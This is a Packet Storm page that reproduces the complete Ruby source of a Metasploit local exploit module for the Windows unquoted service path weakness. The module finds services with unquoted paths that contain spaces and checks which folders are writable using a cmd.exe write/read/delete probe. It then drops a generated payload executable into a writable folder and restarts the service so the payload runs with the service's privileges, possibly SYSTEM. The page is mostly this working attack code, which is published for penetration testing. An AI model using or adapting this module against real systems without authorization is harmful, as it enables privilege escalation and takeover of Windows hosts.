what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Microsoft Windows Unquoted Service Path Privilege Escalation

Microsoft Windows Unquoted Service Path Privilege Escalation
Posted Apr 16, 2020
Authored by h00die, sinn3r | Site metasploit.com

This Metasploit module exploits a logic flaw due to how the lpApplicationName parameter is handled. When the lpApplicationName contains a space, the file name is ambiguous. Take this file path as example: C:\program files\hello.exe; The Windows API will try to interpret this as two possible paths: C:\program.exe, and C:\program files\hello.exe, and then execute all of them. To some software developers, this is an unexpected behavior, which becomes a security problem if an attacker is able to place a malicious executable in one of these unexpected paths, sometimes escalate privileges if run as SYSTEM. Some software such as OpenVPN 2.1.1, OpenSSH Server 5, and others have the same problem.

tags | exploit
systems | windows
SHA-256 | 35beb1c34e027f9d421ede75729e5e7beba074f5f51a57859dc43ca3b58045a3

Microsoft Windows Unquoted Service Path Privilege Escalation

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/exe'

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Exploit::FileDropper
include Msf::Exploit::EXE
include Msf::Post::File
include Msf::Post::Windows::Services
include Msf::Exploit::Deprecated
moved_from 'exploits/windows/local/trusted_service_path'

def initialize(info={})
super( update_info( info,
'Name' => 'Windows Unquoted Service Path Privilege Escalation',
'Description' => %q{
This module exploits a logic flaw due to how the lpApplicationName parameter
is handled. When the lpApplicationName contains a space, the file name is
ambiguous. Take this file path as example: C:\program files\hello.exe;
The Windows API will try to interpret this as two possible paths:
C:\program.exe, and C:\program files\hello.exe, and then execute all of them.
To some software developers, this is an unexpected behavior, which becomes a
security problem if an attacker is able to place a malicious executable in one
of these unexpected paths, sometimes escalate privileges if run as SYSTEM.
Some software such as OpenVPN 2.1.1, OpenSSH Server 5, and others have the
same problem.

The offensive technique is also described in Writing Secure Code (2nd Edition),
Chapter 23, in the section "Calling Processes Security" on page 676.

This technique was previously called Trusted Service Path, but is more commonly
known as Unquoted Service Path.

The service exploited won't start until the payload written to disk is removed.
Manual cleanup is required.
},
'References' =>
[
['URL', 'https://msdn.microsoft.com/en-us/library/windows/desktop/ms682425(v=vs.85).aspx'],
['URL', 'https://www.microsoft.com/learning/en/us/book.aspx?id=5957&locale=en-us'], #pg 676
['URL', 'https://medium.com/@SumitVerma101/windows-privilege-escalation-part-1-unquoted-service-path-c7a011a8d8ae']
],
'DisclosureDate' => "Oct 25 2001",
'License' => MSF_LICENSE,
'Author' =>
[
'sinn3r', #msf module
'h00die' #improvements
],
'Platform' => [ 'win'],
'Targets' => [ ['Windows', {}] ],
'SessionTypes' => [ "meterpreter" ],
'DefaultTarget' => 0,
'Notes' =>
{
'Stability' => [ CRASH_SERVICE_DOWN ],
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ],
'Reliability' => [ REPEATABLE_SESSION, ],
}
))
register_options([
OptBool.new('QUICK', [ false, 'Stop at first vulnerable service found', true])
])
end

def check
services = enum_vuln_services(datastore['QUICK'])
if services.empty?
return CheckCode::Safe
end
services.each do |svrs|
fpath = svrs[1].split(' ')[0...-1] # cut off the .exe last portion
unless generate_folders(fpath, datastore['QUICK']).empty?
# Found service is running system with writable path
return CheckCode::Vulnerable
end
end
CheckCode::Safe
end

###
# this function uses a loop to go from the longest potential path (most likely with write access), to shortest.
# >> fpath = 'C:\\Program Files\\A Subfolder\\B Subfolder\\C Subfolder\\SomeExecutable.exe'
# >> fpath = fpath.split(' ')[0...-1]
# >> fpath.reverse.each { |x| puts fpath[0..fpath.index(x)].join(' ')}
# C:\Program Files\A Subfolder\B Subfolder\C
# C:\Program Files\A Subfolder\B
# C:\Program Files\A
# C:\Program
###

def generate_folders(fpath, quick)
potential_paths = []
fpath.reverse.each do |x|
path = fpath[0..fpath.index(x)].join(' ')
path_no_file = path.split('\\')[0...-1].join('\\')
vprint_status("Checking writability to: #{path_no_file}")
# when we test writability, we drop off last part since thats the file name
unless writable?(path_no_file)
vprint_error("Path not writable")
next
end
vprint_good("Path is writable")
# include file name for the path
potential_paths << path
return potential_paths if quick
end
potential_paths
end

def enum_vuln_services(quick=false)
vuln_services = []

each_service do |service|
info = service_info(service[:name])

# Sometimes there's a null byte at the end of the string,
# and that can break the regex -- annoying.
if info[:path]
cmd = info[:path].strip

# Check path:
# - Filter out paths that begin with a quote
# - Filter out paths that don't have a space
next if cmd !~ /^[a-z]\:.+\.exe$/i
next if not cmd.split("\\").map {|p| true if p =~ / /}.include?(true)

vprint_good("Found vulnerable service: #{service[:name]} - #{cmd} (#{info[:startname]})")
vuln_services << [service[:name], cmd]

# This process can be pretty damn slow.
# Allow the user to just find one, and get the hell out.
break if not vuln_services.empty? and quick
end
end

vuln_services
end

# overwrite the writable? included in file.rb addon since it can't do windows.
def writable?(path)
f="#{path}\\#{Rex::Text.rand_text_alphanumeric(4..8)}.txt"
words = Rex::Text.rand_text_alphanumeric(9)
begin
# path needs to have double, not single quotes
c= %Q(cmd.exe /C echo '#{words}' >> "#{f}" && type "#{f}" && del "#{f}")
cmd_exec(c).to_s.include? words
rescue Rex::Post::Meterpreter::RequestError => e
false
end
end

def exploit
#
# Exploit the first service found
#
print_status("Finding a vulnerable service...")
svrs_list = enum_vuln_services(datastore['QUICK'])

fail_with(Failure::NotVulnerable, "No service found with trusted path issues") if svrs_list.empty?

svrs_list.each do |svrs|
print_status("Attempting exploitation of #{svrs[0]}")
svr_name = svrs[0]
fpath = svrs[1]
fpath = fpath.split(' ')[0...-1] # cut off the .exe last portion
vprint_status('Enumerating vulnerable paths')
potential_paths = generate_folders fpath, datastore['QUICK']

#
# Drop the malicious executable into the path
#
potential_paths.each do |path|
exe_path = "#{path}.exe"
print_status("Placing #{exe_path} for #{svr_name}")
exe = generate_payload_exe_service({:servicename=>svr_name})
print_status("Attempting to write #{exe.length.to_s} bytes to #{exe_path}...")
write_file(exe_path, exe)
print_good("Manual cleanup of #{exe_path} is required due to a potential reboot for exploitation.")
print_good "Successfully wrote payload"
#
# Run the service, let the Windows API do the rest
#
print_status("Launching service #{svr_name}...")
print_status("Manual cleanup of the payload file is required. #{svr_name} will fail to start as long as the payload remains on disk.")
unless service_restart(svr_name)
print_error 'Unable to restart service. System reboot or an admin restarting the service is required. Payload left on disk!!!'
end
break
end
end
end
end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close